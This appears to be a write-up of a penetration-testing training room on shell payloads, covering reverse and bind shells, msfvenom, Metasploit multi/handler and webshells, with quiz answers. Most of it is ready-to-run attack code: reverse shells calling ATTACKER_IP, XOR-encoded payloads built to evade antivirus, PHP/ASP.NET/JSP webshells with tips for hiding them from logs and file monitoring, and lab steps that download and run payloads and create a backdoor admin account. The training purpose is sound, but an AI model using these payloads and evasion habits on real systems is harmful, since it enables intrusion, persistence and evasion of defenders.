Jr.Pen 12.7.Shell Payload Generation & Delivery

Task 1 - Introduction

Generating deployable payloads to establish remote access when interactive command execution is unavailable.

Task 2 - Common Shell Payloads

Netcat Without the -e Flag: For a bind shell without the `-e` flag, use this command on the target: (Target Machine)

```
linux@target:~$ mkfifo /tmp/f; nc -lvnp 8080 < /tmp/f | /bin/
sh >/tmp/f 2>&1; rm /tmp/f
```

Flags explained:

- `l`: Listen mode
- `v`: Verbose output
- `n`: Skip DNS resolution
- `p 8080`: Listen on port 8080

This command creates a named pipe at `/tmp/f`, starts a netcat listener that reads input from the pipe, pipes netcat's output (our commands) into a shell, and redirects the shell's output and errors back into the pipe. The circular flow ensures commands and responses move between our machine and the target shell. For a reverse shell, the syntax changes slightly to use netcat's connect mode: (Target Machine)

```
linux@target:~$ mkfifo /tmp/f; nc ATTACKER_IP 4444 < /tmp/f |
/bin/sh >/tmp/f 2>&1; rm /tmp/f
```

Both commands clean up the named pipe when the connection closes, leaving no artefacts on the target system.

PowerShell Reverse Shells: Windows environments, particularly servers, often have PowerShell available even when traditional command-line tools are restricted. PowerShell's .NET integration gives us direct access to TCP sockets, allowing us to create reverse shells without uploading any additional binaries. The standard PowerShell reverse shell uses .NET's TCP client classes to open a connection and run commands. This one-liner gives us a full interactive shell: (Target Machine)

```
PS C:\> powershell -c "$client = New-Object System.Net.Socket
s.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream
();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($b
ytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeNam
e System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendbac
k = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +
'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCI
I).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.L
ength);$stream.Flush()};$client.Close()"
```

This command creates a TCP client connection to our attacking machine, reads commands from the network stream, executes them using PowerShell's `Invoke-Expression` (`iex`), and sends results back through the same connection. The shell includes a PowerShell prompt with the current directory for better usability.

Script-Based Shells

Many systems have scripting languages installed by default, and we can use them to create shells when traditional tools are missing. This is particularly useful when we have code execution through web applications, scheduled tasks, or other non-interactive methods. Python, Perl, Ruby, and PHP all have networking capabilities that can open a socket and spawn a shell. The two most commonly useful options on Linux targets are Python and bash itself.

Python Reverse Shell: Using built-in scripting languages like Python or Bash to spawn reverse shells when traditional access tools are unavailable.

```
linux@target:~$ python3 -c 'import socket,os;s=socket.socket
(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",
```

```
4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2
(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

This Python payload creates a socket connection, duplicates the socket file descriptor to stdin, stdout, and stderr, then spawns a bash shell with a pseudo-terminal for better interactivity.

Bash TCP Reverse Shell: When scripting languages aren't available, bash's built-in network capabilities can create shells using special device files: (Bash TCP Reverse Shell)

```
linux@target:~$ bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
```

This technique uses bash's `/dev/tcp` pseudo-device to create a network connection, redirecting input and output through the connection to create an interactive shell. Note that `/dev/tcp` requires bash compiled with `--enable-net-redirections` and may not be present on minimal Linux installations.

Payload Selection Strategy

- **Target operating system:** Windows systems favour PowerShell payloads, while Linux systems work well with bash, Python, or netcat alternatives.
- **Available interpreters:** Check what scripting languages or tools are installed. Python, Perl, Ruby, and PHP all have networking capabilities that allow them to create shells.
- **Network restrictions:** Some environments filter outbound connections on specific ports or protocols. Test different ports and connection methods if initial attempts fail.
- **Execution context:** Web shells, scheduled tasks, and service accounts may have different privileges and tool availability than interactive user sessions.
- **Detection concerns:** Some payloads trigger antivirus or endpoint detection systems more readily than others. PowerShell, in particular, is heavily monitored in modern Windows environments.

Payload Resources: The PayloadsAllTheThings repository provides a comprehensive cheat sheet of multi-language shell payloads for diverse target

environments. _

Testing and Verification: Testing payloads in controlled environments ensures reliability, helps navigate target-specific quirks, and enables effective troubleshooting.

Answer the questions below

> What technique allows you to create a reverse or bind shell with netcat when the `-e` flag is unavailable?

named pipe

> In the PowerShell reverse shell one-liner, what .NET class is used to create the network connection to the attacker?

System.Net.Sockets.TCPClient

> What bash pseudo-device path is used to create a TCP connection in the bash reverse shell?

/dev/tcp

Task 3 - msfvenom

Msfvenom automates multi-platform payload creation, encoding, and formatting to streamline evasion and post-exploitation workflows.

Understanding msfvenom's Role: Msfvenom generates standalone, cross-platform payloads with built-in encoding and Metasploit integration for robust delivery and post-exploitation.

Basic msfvenom Syntax: All msfvenom commands follow a consistent structure that specifies the payload type, configuration options, and output requirements:

```
attacker@tryhackme:~$ msfvenom -p <payload> LHOST=<ip> LPORT=
<port> -f <format> -o <output>
```

For example, to generate a Windows executable that creates a reverse shell

```
attacker@tryhackme:~$ msfvenom -p windows/x64/shell/reverse_t
cp -f exe -o shell.exe LHOST=10.10.14.15 LPORT=4444
```

Flags explained:

- `p`: Specifies the payload type and architecture
- `f exe`: Sets the output format to a Windows executable
- `o shell.exe`: Defines the output filename
- `LHOST`: Our attacking machine's IP address for callbacks
- `LPORT`: The port where our handler will listen

Staged vs Stageless Payloads

Stageless payloads: Stageless payloads are self-contained and work with simple listeners, but their larger size increases antivirus detection risks. (Stageless Shell)

```
attacker@tryhackme:~$ msfvenom -p linux/x64/shell_reverse_tcp
LHOST=10.10.14.15 LPORT=4444 -f elf -o stageless_shell
Saved as: stageless_shell
```

Staged payloads: Staged payloads execute in two phases to keep the initial file small and memory-resident for detection evasion, though they require dedicated handlers like Metasploit's multi/handler. (Staged Shell)

```
attacker@tryhackme:~$ msfvenom -p windows/x64/shell/reverse_t
cp LHOST=10.10.14.15 LPORT=4444 -f exe -o staged_shell.exe
Saved as: staged_shell.exe
```

Payload Naming Conventions: Msfvenom uses a systematic naming convention that indicates the target platform, architecture, and payload behaviour. The general format follows this pattern:

```
<platform>/<architecture>/<payload>
```

Platform Examples:

- `linux/x64/shell_reverse_tcp`: Linux 64-bit stageless reverse shell
- `windows/x64/shell/reverse_tcp`: Windows 64-bit staged reverse shell
- `windows/shell_reverse_tcp`: Windows 32-bit stageless reverse shell
- `osx/x64/shell_reverse_tcp`: macOS 64-bit stageless reverse shell

Staged vs Stageless Identification: In most msfvenom payloads, a common naming convention makes it straightforward to tell the two types apart:

- **Stageless:** Typically uses underscores before the transport (e.g., `shell_reverse_tcp`)
- **Staged:** Typically uses a forward slash before the transport (e.g., `shell/reverse_tcp`)

This convention holds for most payloads and is a reliable first indicator. It is not universal across every payload in the library, so when in doubt, use `msfvenom --info <payload>` to confirm whether a payload is staged or stageless before building around it.

Meterpreter Payloads:

Meterpreter represents Metasploit's advanced shell environment, offering capabilities beyond basic command execution. Unlike simple shells that pass commands back and forth, Meterpreter provides a feature-rich platform for post-exploitation activities.

Meterpreter sessions include built-in commands for file operations, network discovery, privilege escalation, and system manipulation. The framework runs entirely in memory, making it harder to detect than traditional shells that rely on disk-based tools.

```
# Windows 64-bit staged Meterpreter
attacker@tryhackme:~$ msfvenom -p windows/x64/meterpreter/rev
erse_tcp LHOST=10.10.14.15 LPORT=4444 -f exe -o meterpreter_s
taged.exe

# Linux 32-bit stageless Meterpreter
attacker@tryhackme:~$ msfvenom -p linux/x86/meterpreter_rever
```

```
se_tcp LHOST=10.10.14.15 LPORT=4444 -f elf -o meterpreter_sta
geless
```

Meterpreter payloads require Metasploit's multi/handler for proper session management. While more complex to set up than basic shells, they provide significantly more functionality for full system compromise and post-exploitation activities.

Output Formats and Use Cases: Msfvenom supports numerous output formats, each suited to different delivery methods and target environments. The right format depends on how we plan to execute the payload on the target.

Common formats include:

- `exe`: Windows executable files for direct execution
- `elf`: Linux executable binaries
- `dll`: Dynamic libraries for DLL injection attacks
- `aspx`: ASP.NET web shells for IIS servers
- `jsp`: Java Server Pages for Java web applications
- `war`: Web application archives for Java application servers
- `python`: Python scripts for environments with Python interpreters
- `powershell`, PowerShell scripts for Windows environments

Discovering Available Payloads: Msfvenom includes extensive payload libraries covering numerous platforms and scenarios. Use the list functionality to explore available options. This command pipes msfvenom's payload list through grep to find specific payload types:

```
attacker@tryhackme:~$ msfvenom --list payloads | grep linux |
grep meterpreter
    linux/armle/meterpreter/reverse_tcp
Inject the meterpreter server DLL via the Reflective Dll Inje
ction payload (staged).
```

Encoding and Evasion: Modern antivirus and endpoint detection systems actively scan for known payload signatures. Msfvenom includes encoding capabilities to modify payload appearance and potentially evade signature-based detection:

```
attacker@tryhackme:~$ msfvenom -p windows/x64/shell_reverse_t
cp LHOST=10.10.14.15 LPORT=4444 -f exe -e x64/xor -i 3 -o enc
oded_shell.exe
Found 1 compatible encoders
Final size of exe file: 7168 bytes
Saved as: encoded_shell.exe
```

Flags explained:

- `e x64/xor`: Use the x64/xor encoder to transform the payload
- `i 3`: Apply the encoding 3 times to further change the signature

The encoding process transforms the payload using mathematical operations (like XOR) multiple times to change its signature. While this can help evade basic antivirus detection, modern security solutions often include behaviour-based detection that can identify malicious activity regardless of encoding.

Integration With Attack Workflows: Msfvenom payloads work best when integrated into complete attack workflows. Think about how the payload will be delivered, executed, and handled:

- **Delivery considerations:** Email attachments, web uploads, USB drops, or exploit integration all require different payload formats and characteristics.
- **Execution context:** User privileges, available interpreters, and system restrictions affect payload selection and encoding requirements.
- **Handler preparation:** Staged payloads need multi/handler setup, while stageless payloads can use simple netcat listeners.

Answer the questions below

> Which msfvenom payload would generate a 64-bit Linux stageless reverse TCP shell?

linux/x64/shell_reverse_tcp

> What msfvenom flag specifies the number of encoding iterations?

-i

> What type of msfvenom payload runs entirely in memory and provides built-in post-exploitation commands?

meterpreter

Task 4 - Metasploit multi/handler

Metasploit's multi/handler provides the advanced session management and staging protocol support that standard netcat listeners lack.

Understanding Multi/Handler's Purpose: Metasploit's multi/handler serves as the required receiver for staged payloads and Meterpreter sessions by managing two-phase handshakes and advanced protocols.

Setting up Multi/Handler: Start by launching Metasploit and loading the multi/handler module:

```
attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
```

Check the current configuration and available options:

```
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
```

```
   LHOST                     yes       The listen address (an i
nterface may be specified)
   LPORT  4444               yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
```

Configuring Handler Parameters: Three parameters must exactly match those generated by msfvenom: the payload type, the listening host address, and the listening port. Get any of these wrong, and the connection will silently fail.

```
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/shell/r
everse_tcp
PAYLOAD => windows/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.15
LHOST => 10.10.14.15
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
```

The LHOST parameter requires special attention. The value here must match the LHOST we baked into the payload during msfvenom generation. The payload hardcodes our IP address and will only connect back to that exact address. Set LHOST to the correct tunnel interface IP. On the AttackBox, it will be `ens5`. Let's verify the configuration before starting the handler:

```
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/x64/shell/reverse_tcp):
```

```
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accep
ted: '', seh, thread, process, none)
   LHOST     10.10.14.15      yes       The listen address (a
n interface may be specified)
   LPORT     4444             yes       The listen port
```

Starting the Handler: Once it's configured, you can just launch the handler using the `exploit` command. The `-j` flag runs the handler in the background, allowing us to continue using the Metasploit console for other tasks while the handler waits for connections.

```
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.10.14.15:4444
msf6 exploit(multi/handler) >
```

The handler is now actively listening for connections. When using ports below 1024, we need to run Metasploit with `sudo`. The background job lets us set up multiple handlers on different ports or configure additional modules while waiting for connections.

Managing Incoming Connections: When a payload executes on the target system, multi/handler automatically handles the connection process. Staged payloads involve receiving the stager, transmitting the full payload, and establishing the session. The console displays connection information and assigns a session number for management.

```
[*] Sending stage (200774 bytes) to 10.10.14.100
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.1
0.14.100:49847) at 2024-01-15 14:23:45 +0000

msf6 exploit(multi/handler) >
```

The connection process shows the staging transmission and session establishment. For staged payloads, we'll see the "Sending stage" message as multi/handler transmits the full payload to the target. The session gets a unique ID (session 1 in this example) for management.

Session Management List all active sessions:

```
msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type               Information
Connection
  --  ----  ----               -----------
----------
  1         shell x64/windows  Shell Banner: Microsoft Window
s...  10.10.14.15:4444 -> 10.10.14.100:49847 (10.10.14.100)
```

Interact with a specific session by its ID number:

```
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

C:\Users\victim\Desktop>whoami
target-machine\victim

C:\Users\victim\Desktop>hostname
TARGET-MACHINE

C:\Users\victim\Desktop>
```

Return to the Metasploit console from an active session using Ctrl+Z or by typing `background`. This backgrounds the session while keeping it active, so we can access other Metasploit modules or interact with different sessions.

Advanced Handler Features: The multi/handler has a few extra tricks that matter when we're juggling multiple compromised systems during an engagement.

Multiple Concurrent Handlers: We can run multiple handlers at the same time on different ports or with different payload types, so we're ready to catch whatever calls back.

```
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 10.10.14.15:8080

msf6 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                       Pay
load opts
  --  ----                    -------                       ---
---------
  0   Exploit: multi/handler  windows/x64/shell/reverse_tcp
tcp://10.10.14.15:4444
  1   Exploit: multi/handler  windows/x64/shell/reverse_tcp
tcp://10.10.14.15:8080
```

Session Persistence and Stability: Unlike netcat connections that die when the network drops, multi/handler sessions have error handling and reconnection logic. Meterpreter sessions can automatically attempt to reconnect and have built-in persistence mechanisms.

Integration with Post-Exploitation Modules: Sessions caught by multi/handler plug straight into Metasploit's post-exploitation modules. We can run privilege escalation checks, gather system information, or pivot to other network segments directly from an established session.

Handler vs Basic Listeners: When do we actually need multi/handler versus a plain netcat listener? Here's a quick breakdown:

Use multi/handler when:

- Working with staged payloads that require two-phase communication
- Using Meterpreter sessions for advanced post-exploitation
- Managing multiple concurrent sessions
- Requiring session persistence and error handling
- Integrating with other Metasploit modules

Use simple listeners when:

- Working with stageless payloads that don't require staging
- Performing quick reconnaissance or basic command execution
- Operating in resource-constrained environments
- Preferring lightweight tools without framework overhead

Troubleshooting Common Issues: A few common mistakes can prevent connections from landing. These are the first things to check when a payload fires but nothing shows up in Metasploit.

- **Payload mismatch:** The handler payload must exactly match what we generated, including architecture and staging type. A `shell/reverse_tcp` handler won't catch a `shell_reverse_tcp` payload.
- **Network configuration:** LHOST must be the correct interface IP, not `0.0.0.0` or `localhost`.
- **Firewall blocking:** Make sure our attacking machine's firewall allows inbound connections on the specified LPORT.
- **Privilege requirements:** Ports below 1024 need `sudo`.

Answer the questions below

> What Metasploit command loads the multi/handler module?

use multi/handler

> What flag runs the handler as a background job so you can continue using the Metasploit console?

-j

> Which command, followed by a session number, lets you interact with a specific active session?

sessions -i

Task 5 - Webshells

Webshells bypass outbound network restrictions by using standard web traffic (HTTP/HTTPS) to execute server-side code on a target system.

A webshell is a script written in a server-side language (PHP, ASP, JSP, Python) that accepts commands through HTTP requests and runs them on the hosting server. We submit commands via URL parameters, POST data, or form fields, and the script executes them with the web server's privileges. The output comes back as HTML. This is particularly handy when firewalls block non-HTTP traffic, when we're targeting internal web servers with no direct internet access, or when we want to maintain access through a file that blends in with the rest of the web application.

PHP is still the most common server-side language on the web, so PHP webshells work on a huge number of targets. A minimal one fits in a single line:

```php
<?php echo "" . shell_exec($_GET["cmd"]) . ""; ?>
```

This webshell accepts commands through a GET parameter named "cmd" and executes them using PHP's `shell_exec()` function. The `<pre>` tags preserve formatting for command output, making results readable in web browsers. When saved as a PHP file and uploaded to a web server, it provides immediate command execution capabilities. Commands are passed as `GET` parameters appended to the URL:

```
http://target-server.thm/uploads/shell.php?cmd=whoami
http://target-server.thm/uploads/shell.php?cmd=id
```

```
http://target-server.thm/uploads/shell.php?cmd=ls -la /var/www/html
```

Each request executes the specified command on the target server and returns the output as a web page. This approach works for any command the web server process has permissions to execute.

Enhanced Webshell Features: In practice, we usually want a few more features for usability and stealth.

POST-based Command Execution: Using POST requests instead of GET parameters helps avoid command logging in web server access logs and URL history:

```
<?php
if ($_POST['cmd']) {
    echo "" . shell_exec($_POST['cmd']) . "";
}
?>
```

Authentication and Obfuscation: Adding a password check stops other attackers (or defenders) from using our webshell against us:

```
<?php
$password = "secure_password_here";
if ($_POST['auth'] === $password && $_POST['cmd']) {
    echo "" . shell_exec($_POST['cmd']) . "";
} else if ($_POST['auth'] && $_POST['auth'] !== $password) {
    echo "Authentication failed";
}
?>
```

Platform-Specific Webshells: Different web server platforms need webshells in the matching server-side language. Here are the main ones we'll encounter.

ASP.NET Webshells: Windows IIS servers running ASP.NET can execute C# or VB.NET webshells:

```
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
if (Request["cmd"] != null) {
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + Request["cmd"];
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write("" + p.StandardOutput.ReadToEnd() + "");
}
%>
```

JSP Webshells: Java web applications can host JSP-based webshells for command execution:

```
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
    BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream
()));
    String line;
    out.println("");
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
    out.println("");
}
%>
```

Upgrading Webshells to Full Shells: Webshells give us reliable access, but they lack the interactivity of a proper shell. The real trick is using the webshell's command execution to bootstrap a full reverse or bind shell connection.

PowerShell Reverse Shell via Webshell: On Windows targets, we can fire a PowerShell reverse shell through the webshell. The payload needs to be URL-encoded to survive HTTP transmission:

```
http://target-server.thm/shell.php?cmd=powershell%20-c%20%22%
24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%2
```

```
8%27ATTACKER_IP%27%2C4444%29%3B%24stream%20
```

This is the same PowerShell reverse shell from Task 2, URL-encoded for HTTP transmission.

Linux Reverse Shell via Webshell: The command must be URL-encoded before transmission, because spaces, quotes, and special characters like `>` and `&` will cause the web server to receive only a fragment of the command. The bash reverse shell URL-encoded:

```
http://target-server.thm/shell.php?cmd=bash%20-c%20%27bash%20
-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261%27
```

Hint: Tools like **curl** handle URL encoding automatically when the command is passed in quotes: `curl "http://target-server.thm/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"`

Webshell Collections and Tools: Kali Linux ships with a collection of ready-made webshells in `/usr/share/webshells`. We also have these webshells on the AttackBox. Webshells

```
attacker@tryhackme:~$ ls /usr/share/webshells/
php

attacker@tryhackme:~$ ls /usr/share/webshells/php/
php-reverse-shell.php
```

The PentestMonkey PHP reverse shell (`php-reverse-shell.php`) is the one we'll see referenced most often. Unlike the simple webshells above, it opens a direct reverse connection back to our listener, giving us a proper shell session instead of one-command-at-a-time HTTP requests.

Detection and Evasion Considerations: Webshells are not invisible. Here's what can catch them.

- **Web Application Firewalls (WAFs)** scan for common webshell patterns in uploaded files and request parameters. Obfuscation or custom encoding can

bypass basic rules, but modern WAFs are getting better at behavioural detection.

- **File integrity monitoring** alerts on new or modified files in web directories. Using filenames that blend in (like `config.bak.php`) and placing files where uploads are expected reduces the chance of triggering an alert.
- **Network monitoring** can flag unusual outbound connections from web server processes. HTTPS webshell traffic is harder to inspect, but the connection pattern itself may look suspicious.
- **Log analysis** reveals command strings in GET parameters and unusual POST patterns. Using POST over GET and keeping commands short helps, but a determined analyst will spot the access pattern eventually.

Operational Best Practices: A few operational habits make the difference between keeping access and losing it.

- **File placement:** Put webshells where uploads are expected, use boring filenames, and consider embedding code within existing legitimate files.
- **Access patterns:** Vary timing and don't hammer the webshell with rapid-fire requests. Use realistic user agents and referrer headers.
- **Command selection:** Start with basic recon (`whoami`, `id`, `ls`) before attempting anything noisy like privilege escalation.
- **Cleanup:** Always plan how we'll remove the webshell after the engagement. Leaving backdoors in production is not acceptable, even during authorised testing.

Answer the questions below

> What PHP function is used in the basic webshell to execute system commands?

shell_exec

> What HTTP method helps avoid logging commands in web server access logs?

POST

> What is the name of the well-known PHP reverse shell script included in Kali's webshell collection, written by PentestMonkey?

php-reverse-shell.php

Task 6 - Practical Exercises: Linux

Exercises

1. Stageless ELF Reverse Shell

Generate a stageless Linux ELF reverse shell with msfvenom and transfer it to the Linux machine using Python's HTTP server. SSH in, download the payload, make it executable, and run it. Catch the connection with netcat. (Generate ELF)

```
attacker@tryhackme:~$ msfvenom -p linux/x64/shell_reverse_tcp
LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.elf
attacker@tryhackme:~$ python3 -m http.server 8000
```

On the target machine: (Execute ELF)

```
shell@target:~$ wget http://CONNECTION_IP:8000/shell.elf -O /
tmp/shell.elf
shell@target:~$ chmod +x /tmp/shell.elf && /tmp/shell.elf
```

2. Staged Linux Reverse Shell via multi/handler

Generate a staged Linux reverse shell with msfvenom and serve it over HTTP: (Execute ELF)

```
attacker@tryhackme:~$ msfvenom -p linux/x64/shell/reverse_tcp
LHOST=CONNECTION_IP LPORT=4444 -f elf -o staged_shell.elf

attacker@tryhackme:~$ python3 -m http.server 8000
```

Then set up multi/handler in Metasploit: (multi/handler)

```
attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell/rev
erse_tcp
```

```
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
```

On the target machine, download and execute the payload: (Execute Payload)

```
shell@target:~$ wget http://CONNECTION_IP:8000/staged_shell.elf -O /tmp/staged_shell.elf
shell@target:~$ chmod +x /tmp/staged_shell.elf && /tmp/staged_shell.elf
```

The `Sending stage` message in the Metasploit console confirms the two-phase handshake is working.

3. PHP Webshell on Linux

On the AttackBox or Kali, create the webshell file using a text editor: (shell.php)

```
attacker@tryhackme:~$ nano shell.php
```

Paste the following into the file and save it:

```
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
```

Navigate to `http://MACHINE_IP` and upload `shell.php` using the upload form. Once uploaded, test command execution in the browser:

```
http://MACHINE_IP/uploads/shell.php?cmd=whoami
http://MACHINE_IP/uploads/shell.php?cmd=id
```

4. Reverse Shell via Webshell

First, make sure the netcat listener is running on the AttackBox: (Netcat Listener)

```
attacker@tryhackme:~$ nc -lvnp 4444
```

From the PHP webshell on the Linux machine, trigger a bash reverse shell back to our listener. Pass the command through `curl`, which handles URL encoding automatically.

```
curl -G "http://MACHINE_IP/uploads/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/CONNECTION_IP/4444 0>&1'"
```

Flags explained:

- `G`: Sends the data as a GET request query string rather than a POST body
- `-data-urlencode "cmd=..."`: URL-encodes the value and appends it to the URL as `?cmd=...`

Answer the questions below

> What msfvenom format flag generates a Linux ELF binary?

-f elf

> What Metasploit output confirms the staged payload two-phase handshake is working?

Sending stage

Task 7 - Practical Exercises: Windows

Start a netcat listener before each exercise where we are catching a shell: `nc -lvnp 4444`

Exercises

1. Stageless Windows EXE

Generate a stageless Windows x64 EXE payload and serve it over HTTP: (Generate EXE)

```
attacker@tryhackme:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
attacker@tryhackme:~$ python3 -m http.server 8000
```

Start a netcat listener to catch the incoming shell: (Start Listener)

```
attacker@tryhackme:~$ nc -lvnp 4444
```

On the Windows machine, open PowerShell and download the payload from the attacker: (Download EXE)

```
PS C:\Users\Administrator> Invoke-WebRequest http://CONNECTIO
N_IP:8000/shell.exe -OutFile C:\Users\Administrator\Desktop\s
hell.exe
```

Execute it: (Execute EXE)

```
PS C:\Users\Administrator> C:\Users\Administrator\Desktop\she
ll.exe
```

The netcat listener receives the connection.

2. Staged Windows Meterpreter via multi/handler

Generate a staged Windows x64 Meterpreter payload and serve it over HTTP: (Generate Staged EXE)

```
attacker@tryhackme:~$ msfvenom -p windows/x64/meterpreter/rev
erse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o meterprete
r.exe
attacker@tryhackme:~$ python3 -m http.server 8000
```

Set up multi/handler in Metasploit: (Start Multi/Handler)

```
attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpr
eter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
```

On the Windows machine, download and execute the payload: (Executing EXE)

```
PS C:\Users\Administrator> Invoke-WebRequest http://CONNECTIO
N_IP:8000/meterpreter.exe -OutFile C:\Users\Administrator\Des
ktop\meterpreter.exe
PS C:\Users\Administrator> C:\Users\Administrator\Desktop\met
erpreter.exe
```

Interact with the session and confirm access: (Meterpreter)

```
msf6 exploit(multi/handler) > sessions -i 1
meterpreter > sysinfo
meterpreter > getuid
```

3. Windows Admin Account via Webshell

On the AttackBox, create the webshell file: (Create shell.php)

```
attacker@tryhackme:~$ nano shell.php
```

Paste the following into the file and save it:

```
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
```

Navigate to `http://MACHINE_IP` and upload `shell.php` using the upload form. Once uploaded, use it to create a new local admin account. Spaces in commands must be encoded as `%20`:

```
http://MACHINE_IP/uploads/shell.php?cmd=net%20user%20pentester%20Passw0rd!%20/add
http://MACHINE_IP/uploads/shell.php?cmd=net%20localgroup%20administrators%20pentester%20/
add
```

4. RDP Into Windows Using the New Account

Connect to the Windows machine via RDP using the account we just created: (RDP)

```
attacker@tryhackme:~$ xfreerdp /dynamic-resolution +clipboard
/cert:ignore /v:MACHINE_IP /u:pentester /p:'Passw0rd!'
```

Answer the questions below

> What Meterpreter command displays information about the compromised system, including OS and hostname?

sysinfo

Task 8 - Conclusion

`msfvenom` handles binary generation for any platform and format. Multi/handler catches staged payloads and manages Meterpreter sessions. Webshells get code execution when the only path in is an HTTP upload. And once we have that first shell, credential hunting and account creation move us from an unstable foothold to something we can actually work with.